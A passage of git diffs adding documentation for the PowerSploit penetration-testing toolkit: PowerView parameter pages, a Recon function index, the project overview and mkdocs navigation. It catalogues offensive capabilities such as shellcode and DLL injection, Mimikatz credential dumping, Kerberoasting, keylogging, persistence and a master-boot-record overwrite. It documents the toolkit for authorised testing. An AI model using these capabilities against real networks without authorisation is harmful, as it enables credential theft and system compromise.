or more object properties (in the form of a hashtable) that will XOR the current values. + +```yaml +Type: Hashtable +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Clear +Specifies an array of object properties that will be cleared in the directory. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Domain +Specifies the domain to use for the query, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -LDAPFilter +Specifies an LDAP query string that is used to filter Active Directory objects. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: Filter + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchBase +The LDAP source to search through, e.g. +"LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: ADSPath + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchScope +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Subtree +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +Specifies the PageSize to set for the LDAP searcher object. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 200 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +Specifies the maximum amount of time the server spends searching. +Default of 120 seconds. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SecurityMasks +{{Fill SecurityMasks Description}} + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Tombstone +Switch. +Specifies that the searcher should also return deleted/tombstoned objects. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.ADObject + +Custom PSObject with translated AD object property fields, if -PassThru is enabled. + +PowerView.ADObject.Raw + +The raw DirectoryServices.SearchResult object, if -PassThru and -Raw are enabled. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Test-AdminAccess.md b/docs/Recon/Test-AdminAccess.md new file mode 100755 index 0000000..84eab4e --- /dev/null +++ b/docs/Recon/Test-AdminAccess.md @@ -0,0 +1,101 @@ +# Test-AdminAccess + +## SYNOPSIS +Tests if the current user has administrative access to the local (or a remote) machine. + +Idea stolen from the local_admin_search_enum post module in Metasploit written by: + 'Brandon McCann "zeknox" \' + 'Thomas McCarthy "smilingraccoon" \' + 'Royce Davis "r3dy" \' + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf + +## SYNTAX + +``` +Test-AdminAccess [[-ComputerName] ] [-Credential ] +``` + +## DESCRIPTION +This function will use the OpenSCManagerW Win32API call to establish +a handle to the remote host. +If this succeeds, the current user context +has local administrator acess to the target. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Test-AdminAccess -ComputerName sqlserver +``` + +Returns results indicating whether the current user has admin access to the 'sqlserver' host. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-DomainComputer | Test-AdminAccess +``` + +Returns what machines in the domain the current user has access to. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Test-AdminAccess -ComputerName sqlserver -Credential $Cred + +## PARAMETERS + +### -ComputerName +Specifies the hostname to check for local admin access (also accepts IP addresses). +Defaults to 'localhost'. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: HostName, dnshostname, name + +Required: False +Position: 1 +Default value: Localhost +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the remote system using Invoke-UserImpersonation. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.AdminAccess + +A PSCustomObject containing the ComputerName and 'IsAdmin' set to whether +the current user has local admin rights, along with the ComputerName added. + +## NOTES + +## RELATED LINKS + +[https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/local_admin_search_enum.rb +http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/](https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/local_admin_search_enum.rb +http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/) + -- cgit v1.2.3 From 9033f2f544785573f5924e6843d709193321c644 Mon Sep 17 00:00:00 2001 From: HarmJ0y Date: Mon, 12 Dec 2016 21:58:50 -0500 Subject: Another try at getting readthedocs.io working --- docs/Recon/index.md | 125 +++++++++++++++++++++++++ docs/index.md | 264 ++++++++++++++++++++++++++++++++++++++++++++++++++++ mkdocs.yml | 160 +++++++++++++++---------------- 3 files changed, 469 insertions(+), 80 deletions(-) create mode 100644 docs/Recon/index.md create mode 100644 docs/index.md (limited to 'docs') diff --git a/docs/Recon/index.md b/docs/Recon/index.md new file mode 100644 index 0000000..acc2627 --- /dev/null +++ b/docs/Recon/index.md @@ -0,0 +1,125 @@ +To install this module, drop the entire Recon folder into one of your module directories. The default PowerShell module paths are listed in the $Env:PSModulePath environment variable. + +The default per-user module path is: "$Env:HomeDrive$Env:HOMEPATH\Documents\WindowsPowerShell\Modules" +The default computer-level module path is: "$Env:windir\System32\WindowsPowerShell\v1.0\Modules" + +To use the module, type `Import-Module Recon` + +To see the commands imported, type `Get-Command -Module Recon` + +For help on each individual command, Get-Help is your friend. + +Note: The tools contained within this module were all designed such that they can be run individually. Including them in a module simply lends itself to increased portability. + + +## PowerView + +PowerView is a PowerShell tool to gain network situational awareness on +Windows domains. It contains a set of pure-PowerShell replacements for various +windows "net *" commands, which utilize PowerShell AD hooks and underlying +Win32 API functions to perform useful Windows domain functionality. + +It also implements various useful metafunctions, including some custom-written +user-hunting functions which will identify where on the network specific users +are logged into. It can also check which machines on the domain the current +user has local administrator access on. Several functions for the enumeration +and abuse of domain trusts also exist. See function descriptions for appropriate +usage and available options. For detailed output of underlying functionality, pass +the -Verbose or -Debug flags. + +For functions that enumerate multiple machines, pass the -Verbose flag to get a +progress status as each host is enumerated. Most of the "meta" functions accept +an array of hosts from the pipeline. + + +### Misc Functions: + Export-PowerViewCSV - thread-safe CSV append + Resolve-IPAddress - resolves a hostname to an IP + ConvertTo-SID - converts a given user/group name to a security identifier (SID) + Convert-ADName - converts object names between a variety of formats + ConvertFrom-UACValue - converts a UAC int value to human readable form + Add-RemoteConnection - pseudo "mounts" a connection to a remote path using the specified credential object + Remove-RemoteConnection - destroys a connection created by New-RemoteConnection + Invoke-UserImpersonation - creates a new "runas /netonly" type logon and impersonates the token + Invoke-RevertToSelf - reverts any token impersonation + Get-DomainSPNTicket - request the kerberos ticket for a specified service principal name (SPN) + Invoke-Kerberoast - requests service tickets for kerberoast-able accounts and returns extracted ticket hashes + Get-PathAcl - get the ACLs for a local/remote file path with optional group recursion + + +### Domain/LDAP Functions: + Get-DomainDNSZone - enumerates the Active Directory DNS zones for a given domain + Get-DomainDNSRecord - enumerates the Active Directory DNS records for a given zone + Get-Domain - returns the domain object for the current (or specified) domain + Get-DomainController - return the domain controllers for the current (or specified) domain + Get-Forest - returns the forest object for the current (or specified) forest + Get-ForestDomain - return all domains for the current (or specified) forest + Get-ForestGlobalCatalog - return all global catalogs for the current (or specified) forest + Find-DomainObjectPropertyOutlier- inds user/group/computer objects in AD that have 'outlier' properties set + Get-DomainUser - return all users or specific user objects in AD + New-DomainUser - creates a new domain user (assuming appropriate permissions) and returns the user object + Get-DomainUserEvent - enumerates account logon events (ID 4624) and Logon with explicit credential events + Get-DomainComputer - returns all computers or specific computer objects in AD + Get-DomainObject - returns all (or specified) domain objects in AD + Set-DomainObject - modifies a gven property for a specified active directory object + Get-DomainObjectAcl - returns the ACLs associated with a specific active directory object + Add-DomainObjectAcl - adds an ACL for a specific active directory object + Find-InterestingDomainAcl - finds object ACLs in the current (or specified) domain with modification rights set to non-built in objects + Get-DomainOU - search for all organization units (OUs) or specific OU objects in AD + Get-DomainSite - search for all sites or specific site objects in AD + Get-DomainSubnet - search for all subnets or specific subnets objects in AD + Get-DomainSID - returns the SID for the current domain or the specified domain + Get-DomainGroup - return all groups or specific group objects in AD + New-DomainGroup - creates a new domain group (assuming appropriate permissions) and returns the group object + Get-DomainManagedSecurityGroup - returns all security groups in the current (or target) domain that have a manager set + Get-DomainGroupMember - return the members of a specific domain group + Add-DomainGroupMember - adds a domain user (or group) to an existing domain group, assuming appropriate permissions to do so + Get-DomainFileServer - returns a list of servers likely functioning as file servers + Get-DomainDFSShare - returns a list of all fault-tolerant distributed file systems for the current (or specified) domain + + +### GPO functions + + Get-DomainGPO - returns all GPOs or specific GPO objects in AD + Get-DomainGPOLocalGroup - returns all GPOs in a domain that modify local group memberships through 'Restricted Groups' or Group Policy preferences + Get-DomainGPOUserLocalGroupMapping - enumerates the machines where a specific domain user/group is a member of a specific local group, all through GPO correlation + Get-DomainGPOComputerLocalGroupMapping - takes a computer (or GPO) object and determines what users/groups are in the specified local group for the machine through GPO correlation + Get-DomainPolicy - returns the default domain policy or the domain controller policy for the current domain or a specified domain/domain controller + + +### Computer Enumeration Functions + + Get-NetLocalGroup - enumerates the local groups on the local (or remote) machine + Get-NetLocalGroupMember - enumerates members of a specific local group on the local (or remote) machine + Get-NetShare - returns open shares on the local (or a remote) machine + Get-NetLoggedon - returns users logged on the local (or a remote) machine + Get-NetSession - returns session information for the local (or a remote) machine + Get-RegLoggedOn - returns who is logged onto the local (or a remote) machine through enumeration of remote registry keys + Get-NetRDPSession - returns remote desktop/session information for the local (or a remote) machine + Test-AdminAccess - rests if the current user has administrative access to the local (or a remote) machine + Get-NetComputerSiteName - returns the AD site where the local (or a remote) machine resides + Get-WMIRegProxy - enumerates the proxy server and WPAD conents for the current user + Get-WMIRegLastLoggedOn - returns the last user who logged onto the local (or a remote) machine + Get-WMIRegCachedRDPConnection - returns information about RDP connections outgoing from the local (or remote) machine + Get-WMIRegMountedDrive - returns information about saved network mounted drives for the local (or remote) machine + Get-WMIProcess - returns a list of processes and their owners on the local or remote machine + Find-InterestingFile - searches for files on the given path that match a series of specified criteria + + +### Threaded 'Meta'-Functions + + Find-DomainUserLocation - finds domain machines where specific users are logged into + Find-DomainProcess - finds domain machines where specific processes are currently running + Find-DomainUserEvent - finds logon events on the current (or remote domain) for the specified users + Find-DomainShare - finds reachable shares on domain machines + Find-InterestingDomainShareFile - searches for files matching specific criteria on readable shares in the domain + Find-LocalAdminAccess - finds machines on the local domain where the current user has local administrator access + Find-DomainLocalGroupMember - enumerates the members of specified local group on machines in the domain + + +### Domain Trust Functions: + Get-DomainTrust - returns all domain trusts for the current domain or a specified domain + Get-ForestTrust - returns all forest trusts for the current forest or a specified forest + Get-DomainForeignUser - enumerates users who are in groups outside of the user's domain + Get-DomainForeignGroupMember - enumerates groups with users outside of the group's domain and returns each foreign member + Get-DomainTrustMapping - this function enumerates all trusts for the current domain and then enumerates all trusts for each domain it finds diff --git a/docs/index.md b/docs/index.md new file mode 100644 index 0000000..c348b9e --- /dev/null +++ b/docs/index.md @@ -0,0 +1,264 @@ +### PowerSploit is a collection of Microsoft PowerShell modules that can be used to aid penetration testers during all phases of an assessment. PowerSploit is comprised of the following modules and scripts: + +## CodeExecution + +**Execute code on a target machine.** + +#### `Invoke-DllInjection` + +Injects a Dll into the process ID of your choosing. + +#### `Invoke-ReflectivePEInjection` + +Reflectively loads a Windows PE file (DLL/EXE) in to the powershell process, or reflectively injects a DLL in to a remote process. + +#### `Invoke-Shellcode` + +Injects shellcode into the process ID of your choosing or within PowerShell locally. + +#### `Invoke-WmiCommand` + +Executes a PowerShell ScriptBlock on a target computer and returns its formatted output using WMI as a C2 channel. + +## ScriptModification + +**Modify and/or prepare scripts for execution on a compromised machine.** + +#### `Out-EncodedCommand` + +Compresses, Base-64 encodes, and generates command-line output for a PowerShell payload script. + +#### `Out-CompressedDll` + +Compresses, Base-64 encodes, and outputs generated code to load a managed dll in memory. + +#### `Out-EncryptedScript` + +Encrypts text files/scripts. + +#### `Remove-Comments` + +Strips comments and extra whitespace from a script. + +## Persistence + +**Add persistence capabilities to a PowerShell script** + +#### `New-UserPersistenceOption` + +Configure user-level persistence options for the Add-Persistence function. + +#### `New-ElevatedPersistenceOption` + +Configure elevated persistence options for the Add-Persistence function. + +#### `Add-Persistence` + +Add persistence capabilities to a script. + +#### `Install-SSP` + +Installs a security support provider (SSP) dll. + +#### `Get-SecurityPackages` + +Enumerates all loaded security packages (SSPs). + +## AntivirusBypass + +**AV doesn't stand a chance against PowerShell!** + +#### `Find-AVSignature` + +Locates single Byte AV signatures utilizing the same method as DSplit from "class101". + +## Exfiltration + +**All your data belong to me!** + +#### `Invoke-TokenManipulation` + +Lists available logon tokens. Creates processes with other users logon tokens, and impersonates logon tokens in the current thread. + +#### `Invoke-CredentialInjection` + +Create logons with clear-text credentials without triggering a suspicious Event ID 4648 (Explicit Credential Logon). + +#### `Invoke-NinjaCopy` + +Copies a file from an NTFS partitioned volume by reading the raw volume and parsing the NTFS structures. + +#### `Invoke-Mimikatz` + +Reflectively loads Mimikatz 2.0 in memory using PowerShell. Can be used to dump credentials without writing anything to disk. Can be used for any functionality provided with Mimikatz. + +#### `Get-Keystrokes` + +Logs keys pressed, time and the active window. + +#### `Get-GPPPassword` + +Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences. + +#### `Get-GPPAutologon` + +Retrieves autologon username and password from registry.xml if pushed through Group Policy Preferences. + +#### `Get-TimedScreenshot` + +A function that takes screenshots at a regular interval and saves them to a folder. + +#### `New-VolumeShadowCopy` + +Creates a new volume shadow copy. + +#### `Get-VolumeShadowCopy` + +Lists the device paths of all local volume shadow copies. + +#### `Mount-VolumeShadowCopy` + +Mounts a volume shadow copy. + +#### `Remove-VolumeShadowCopy` + +Deletes a volume shadow copy. + +#### `Get-VaultCredential` + +Displays Windows vault credential objects including cleartext web credentials. + +#### `Out-Minidump` + +Generates a full-memory minidump of a process. + +#### 'Get-MicrophoneAudio' + +Records audio from system microphone and saves to disk + +## Mayhem + +**Cause general mayhem with PowerShell.** + +#### `Set-MasterBootRecord` + +Proof of concept code that overwrites the master boot record with the + message of your choice. + +#### `Set-CriticalProcess` + +Causes your machine to blue screen upon exiting PowerShell. + +## Privesc + +**Tools to help with escalating privileges on a target.** + +#### `PowerUp` + +Clearing house of common privilege escalation checks, along with some weaponization vectors. + +## Recon + +**Tools to aid in the reconnaissance phase of a penetration test.** + +#### `Invoke-Portscan` + +Does a simple port scan using regular sockets, based (pretty) loosely on nmap. + +#### `Get-HttpStatus` + +Returns the HTTP Status Codes and full URL for specified paths when provided with a dictionary file. + +#### `Invoke-ReverseDnsLookup` + +Scans an IP address range for DNS PTR records. + +#### `PowerView` + +PowerView is series of functions that performs network and Windows domain enumeration and exploitation. + +## Recon\Dictionaries + +**A collection of dictionaries used to aid in the reconnaissance phase of a penetration test. Dictionaries were taken from the following sources.** + +* admin.txt - +* generic.txt - +* sharepoint.txt - + +## License + +The PowerSploit project and all individual scripts are under the [BSD 3-Clause license](https://raw.github.com/mattifestation/PowerSploit/master/LICENSE) unless explicitly noted otherwise. + +## Usage + +Refer to the comment-based help in each individual script for detailed usage information. + +To install this module, drop the entire PowerSploit folder into one of your module directories. The default PowerShell module paths are listed in the $Env:PSModulePath environment variable. + +The default per-user module path is: "$Env:HomeDrive$Env:HOMEPATH\Documents\WindowsPowerShell\Modules" +The default computer-level module path is: "$Env:windir\System32\WindowsPowerShell\v1.0\Modules" + +To use the module, type `Import-Module PowerSploit` + +To see the commands imported, type `Get-Command -Module PowerSploit` + +If you're running PowerShell v3 and you want to remove the annoying 'Do you really want to run scripts downloaded from the Internet' warning, once you've placed PowerSploit into your module path, run the following one-liner: +`$Env:PSModulePath.Split(';') | + % { if ( Test-Path (Join-Path $_ PowerSploit) ) + {Get-ChildItem $_ -Recurse | Unblock-File} }` + +For help on each individual command, Get-Help is your friend. + +Note: The tools contained within this module were all designed such that they can be run individually. Including them in a module simply lends itself to increased portability. + +## Contribution Rules + +We need contributions! If you have a great idea for PowerSploit, we'd love to add it. New additions will require the following: + +* The script must adhere to the style guide. Any exceptions to the guide line would need an explicit, valid reason. +* The module manifest needs to be updated to reflect the new function being added. +* A brief description of the function should be added to this README.md +* Pester tests must accompany all new functions. See the Tests folder for examples but we are looking for tests that at least cover the basics by testing for expected/unexpected input/output and that the function exhibits desired functionality. Make sure the function is passing all tests (preferably in mutiple OSes) prior to submitting a pull request. Thanks! + +## Script Style Guide + +**For all contributors and future contributors to PowerSploit, I ask that you follow this style guide when writing your scripts/modules.** + +* Avoid Write-Host **at all costs**. PowerShell functions/cmdlets are not command-line utilities! Pull requests containing code that uses Write-Host will not be considered. You should output custom objects instead. For more information on creating custom objects, read these articles: + * + * + +* If you want to display relevant debugging information to the screen, use Write-Verbose. The user can always just tack on '-Verbose'. + +* Always provide descriptive, comment-based help for every script. Also, be sure to include your name and a BSD 3-Clause license (unless there are extenuating circumstances that prevent the application of the BSD license). + +* Make sure all functions follow the proper PowerShell verb-noun agreement. Use Get-Verb to list the default verbs used by PowerShell. Exceptions to supported verbs will be considered on a case-by-case basis. + +* I prefer that variable names be capitalized and be as descriptive as possible. + +* Provide logical spacing in between your code. Indent your code to make it more readable. + +* If you find yourself repeating code, write a function. + +* Catch all anticipated errors and provide meaningful output. If you have an error that should stop execution of the script, use 'Throw'. If you have an error that doesn't need to stop execution, use Write-Error. + +* If you are writing a script that interfaces with the Win32 API, try to avoid compiling C# inline with Add-Type. Try to use the PSReflect module, if possible. + +* Do not use hardcoded paths. A script should be useable right out of the box. No one should have to modify the code unless they want to. + +* PowerShell v2 compatibility is highly desired. + +* Use positional parameters and make parameters mandatory when it makes sense to do so. For example, I'm looking for something like the following: + * `[Parameter(Position = 0, Mandatory = $True)]` + +* Don't use any aliases unless it makes sense for receiving pipeline input. They make code more difficult to read for people who are unfamiliar with a particular alias. + +* Try not to let commands run on for too long. For example, a pipeline is a natural place for a line break. + +* Don't go overboard with inline comments. Only use them when certain aspects of the code might be confusing to a reader. + +* Rather than using Out-Null to suppress unwanted/irrelevant output, save the unwanted output to $null. Doing so provides a slight performance enhancement. + +* Use default values for your parameters when it makes sense. Ideally, you want a script that will work without requiring any parameters. + +* If a script creates complex custom objects, include a ps1xml file that will properly format the object's output. diff --git a/mkdocs.yml b/mkdocs.yml index 72f6598..0c04f6a 100644 --- a/mkdocs.yml +++ b/mkdocs.yml @@ -1,85 +1,85 @@ site_name: PowerSploit -repo_url: https://github.com/PowerShellMafia/PowerSploit/tree/dev +repo_url: https://github.com/PowerShellMafia/PowerSploit/ site_favicon: favicon.ico pages: -- Home: 'README.md' - - Recon : 'Recon/README.md' - - Export-PowerViewCSV: 'docs/Recon/Export-PowerViewCSV.md' - - Resolve-IPAddress: 'docs/Recon/Resolve-IPAddress.md' - - ConvertTo-SID: 'docs/Recon/ConvertTo-SID.md' - - ConvertFrom-SID: 'docs/Recon/ConvertFrom-SID.md' - - Convert-ADName: 'docs/Recon/Convert-ADName.md' - - ConvertFrom-UACValue: 'docs/Recon/ConvertFrom-UACValue.md' - - Add-RemoteConnection: 'docs/Recon/Add-RemoteConnection.md' - - Remove-RemoteConnection: 'docs/Recon/Remove-RemoteConnection.md' - - Invoke-UserImpersonation: 'docs/Recon/Invoke-UserImpersonation.md' - - Invoke-RevertToSelf: 'docs/Recon/Invoke-RevertToSelf.md' - - Get-DomainSPNTicket: 'docs/Recon/Get-DomainSPNTicket.md' - - Invoke-Kerberoast: 'docs/Recon/Invoke-Kerberoast.md' - - Get-PathAcl: 'docs/Recon/Get-PathAcl.md' - - Get-DomainDNSZone: 'docs/Recon/Get-DomainDNSZone.md' - - Get-DomainDNSRecord: 'docs/Recon/Get-DomainDNSRecord.md' - - Get-Domain: 'docs/Recon/Get-Domain.md' - - Get-DomainController: 'docs/Recon/Get-DomainController.md' - - Get-Forest: 'docs/Recon/Get-Forest.md' - - Get-ForestDomain: 'docs/Recon/Get-ForestDomain.md' - - Get-ForestGlobalCatalog: 'docs/Recon/Get-ForestGlobalCatalog.md' - - Find-DomainObjectPropertyOutlier: 'docs/Recon/Find-DomainObjectPropertyOutlier.md' - - Get-DomainUser: 'docs/Recon/Get-DomainUser.md' - - New-DomainUser: 'docs/Recon/New-DomainUser.md' - - Get-DomainUserEvent: 'docs/Recon/Get-DomainUserEvent.md' - - Get-DomainComputer: 'docs/Recon/Get-DomainComputer.md' - - Get-DomainObject: 'docs/Recon/Get-DomainObject.md' - - Set-DomainObject: 'docs/Recon/Set-DomainObject.md' - - Get-DomainObjectAcl: 'docs/Recon/Get-DomainObjectAcl.md' - - Add-DomainObjectAcl: 'docs/Recon/Add-DomainObjectAcl.md' - - Find-InterestingDomainAcl: 'docs/Recon/Find-InterestingDomainAcl.md' - - Get-DomainOU: 'docs/Recon/Get-DomainOU.md' - - Get-DomainSite: 'docs/Recon/Get-DomainSite.md' - - Get-DomainSubnet: 'docs/Recon/Get-DomainSubnet.md' - - Get-DomainSID: 'docs/Recon/Get-DomainSID.md' - - Get-DomainGroup: 'docs/Recon/Get-DomainGroup.md' - - New-DomainGroup: 'docs/Recon/New-DomainGroup.md' - - Get-DomainManagedSecurityGroup: 'docs/Recon/Get-DomainManagedSecurityGroup.md' - - Get-DomainGroupMember: 'docs/Recon/Get-DomainGroupMember.md' - - Add-DomainGroupMember: 'docs/Recon/Add-DomainGroupMember.md' - - Get-DomainFileServer: 'docs/Recon/Get-DomainFileServer.md' - - Get-DomainDFSShare: 'docs/Recon/Get-DomainDFSShare.md' - - Get-DomainGPO: 'docs/Recon/Get-DomainGPO.md' - - Get-DomainGPOLocalGroup: 'docs/Recon/Get-DomainGPOLocalGroup.md' - - Get-DomainGPOUserLocalGroupMapping: 'docs/Recon/Get-DomainGPOUserLocalGroupMapping.md' - - Get-DomainGPOComputerLocalGroupMapping: 'docs/Recon/Get-DomainGPOComputerLocalGroupMapping.md' - - Get-DomainPolicy: 'docs/Recon/Get-DomainPolicy.md' - - Get-NetLocalGroup: 'docs/Recon/Get-NetLocalGroup.md' - - Get-NetLocalGroupMember: 'docs/Recon/Get-NetLocalGroupMember.md' - - Get-NetShare: 'docs/Recon/Get-NetShare.md' - - Get-NetLoggedon: 'docs/Recon/Get-NetLoggedon.md' - - Get-NetSession: 'docs/Recon/Get-NetSession.md' - - Get-RegLoggedOn: 'docs/Recon/Get-RegLoggedOn.md' - - Get-NetRDPSession: 'docs/Recon/Get-NetRDPSession.md' - - Test-AdminAccess: 'docs/Recon/Test-AdminAccess.md' - - Get-NetComputerSiteName: 'docs/Recon/Get-NetComputerSiteName.md' - - Get-WMIRegProxy: 'docs/Recon/Get-WMIRegProxy.md' - - Get-WMIRegLastLoggedOn: 'docs/Recon/Get-WMIRegLastLoggedOn.md' - - Get-WMIRegCachedRDPConnection: 'docs/Recon/Get-WMIRegCachedRDPConnection.md' - - Get-WMIRegMountedDrive: 'docs/Recon/Get-WMIRegMountedDrive.md' - - Get-WMIProcess: 'docs/Recon/Get-WMIProcess.md' - - Find-InterestingFile: 'docs/Recon/Find-InterestingFile.md' - - Find-DomainUserLocation: 'docs/Recon/Find-DomainUserLocation.md' - - Find-DomainProcess: 'docs/Recon/Find-DomainProcess.md' - - Find-DomainUserEvent: 'docs/Recon/Find-DomainUserEvent.md' - - Find-DomainShare: 'docs/Recon/Find-DomainShare.md' - - Find-InterestingDomainShareFile: 'docs/Recon/Find-InterestingDomainShareFile.md' - - Find-LocalAdminAccess: 'docs/Recon/Find-LocalAdminAccess.md' - - Find-DomainLocalGroupMember: 'docs/Recon/Find-DomainLocalGroupMember.md' - - Get-DomainTrust: 'docs/Recon/Get-DomainTrust.md' - - Get-ForestTrust: 'docs/Recon/Get-ForestTrust.md' - - Get-DomainForeignUser: 'docs/Recon/Get-DomainForeignUser.md' - - Get-DomainForeignGroupMember: 'docs/Recon/Get-DomainForeignGroupMember.md' - - Get-DomainTrustMapping: 'docs/Recon/Get-DomainTrustMapping.md' - - Get-ComputerDetails: 'docs/Recon/Get-ComputerDetails.md' - - Get-HttpStatus: 'docs/Recon/Get-HttpStatus.md' - - Invoke-Portscan: 'docs/Recon/Invoke-Portscan.md' - - Invoke-ReverseDnsLookup: 'docs/Recon/Invoke-ReverseDnsLookup.md' +- Home: 'index.md' + - Recon : 'Recon/index.md' + - Export-PowerViewCSV: 'Recon/Export-PowerViewCSV.md' + - Resolve-IPAddress: 'Recon/Resolve-IPAddress.md' + - ConvertTo-SID: 'Recon/ConvertTo-SID.md' + - ConvertFrom-SID: 'Recon/ConvertFrom-SID.md' + - Convert-ADName: 'Recon/Convert-ADName.md' + - ConvertFrom-UACValue: 'Recon/ConvertFrom-UACValue.md' + - Add-RemoteConnection: 'Recon/Add-RemoteConnection.md' + - Remove-RemoteConnection: 'Recon/Remove-RemoteConnection.md' + - Invoke-UserImpersonation: 'Recon/Invoke-UserImpersonation.md' + - Invoke-RevertToSelf: 'Recon/Invoke-RevertToSelf.md' + - Get-DomainSPNTicket: 'Recon/Get-DomainSPNTicket.md' + - Invoke-Kerberoast: 'Recon/Invoke-Kerberoast.md' + - Get-PathAcl: 'Recon/Get-PathAcl.md' + - Get-DomainDNSZone: 'Recon/Get-DomainDNSZone.md' + - Get-DomainDNSRecord: 'Recon/Get-DomainDNSRecord.md' + - Get-Domain: 'Recon/Get-Domain.md' + - Get-DomainController: 'Recon/Get-DomainController.md' + - Get-Forest: 'Recon/Get-Forest.md' + - Get-ForestDomain: 'Recon/Get-ForestDomain.md' + - Get-ForestGlobalCatalog: 'Recon/Get-ForestGlobalCatalog.md' + - Find-DomainObjectPropertyOutlier: 'Recon/Find-DomainObjectPropertyOutlier.md' + - Get-DomainUser: 'Recon/Get-DomainUser.md' + - New-DomainUser: 'Recon/New-DomainUser.md' + - Get-DomainUserEvent: 'Recon/Get-DomainUserEvent.md' + - Get-DomainComputer: 'Recon/Get-DomainComputer.md' + - Get-DomainObject: 'Recon/Get-DomainObject.md' + - Set-DomainObject: 'Recon/Set-DomainObject.md' + - Get-DomainObjectAcl: 'Recon/Get-DomainObjectAcl.md' + - Add-DomainObjectAcl: 'Recon/Add-DomainObjectAcl.md' + - Find-InterestingDomainAcl: 'Recon/Find-InterestingDomainAcl.md' + - Get-DomainOU: 'Recon/Get-DomainOU.md' + - Get-DomainSite: 'Recon/Get-DomainSite.md' + - Get-DomainSubnet: 'Recon/Get-DomainSubnet.md' + - Get-DomainSID: 'Recon/Get-DomainSID.md' + - Get-DomainGroup: 'Recon/Get-DomainGroup.md' + - New-DomainGroup: 'Recon/New-DomainGroup.md' + - Get-DomainManagedSecurityGroup: 'Recon/Get-DomainManagedSecurityGroup.md' + - Get-DomainGroupMember: 'Recon/Get-DomainGroupMember.md' + - Add-DomainGroupMember: 'Recon/Add-DomainGroupMember.md' + - Get-DomainFileServer: 'Recon/Get-DomainFileServer.md' + - Get-DomainDFSShare: 'Recon/Get-DomainDFSShare.md' + - Get-DomainGPO: 'Recon/Get-DomainGPO.md' + - Get-DomainGPOLocalGroup: 'Recon/Get-DomainGPOLocalGroup.md' + - Get-DomainGPOUserLocalGroupMapping: 'Recon/Get-DomainGPOUserLocalGroupMapping.md' + - Get-DomainGPOComputerLocalGroupMapping: 'Recon/Get-DomainGPOComputerLocalGroupMapping.md' + - Get-DomainPolicy: 'Recon/Get-DomainPolicy.md' + - Get-NetLocalGroup: 'Recon/Get-NetLocalGroup.md' + - Get-NetLocalGroupMember: 'Recon/Get-NetLocalGroupMember.md' + - Get-NetShare: 'Recon/Get-NetShare.md' + - Get-NetLoggedon: 'Recon/Get-NetLoggedon.md' + - Get-NetSession: 'Recon/Get-NetSession.md' + - Get-RegLoggedOn: 'Recon/Get-RegLoggedOn.md' + - Get-NetRDPSession: 'Recon/Get-NetRDPSession.md' + - Test-AdminAccess: 'Recon/Test-AdminAccess.md' + - Get-NetComputerSiteName: 'Recon/Get-NetComputerSiteName.md' + - Get-WMIRegProxy: 'Recon/Get-WMIRegProxy.md' + - Get-WMIRegLastLoggedOn: 'Recon/Get-WMIRegLastLoggedOn.md' + - Get-WMIRegCachedRDPConnection: 'Recon/Get-WMIRegCachedRDPConnection.md' + - Get-WMIRegMountedDrive: 'Recon/Get-WMIRegMountedDrive.md' + - Get-WMIProcess: 'Recon/Get-WMIProcess.md' + - Find-InterestingFile: 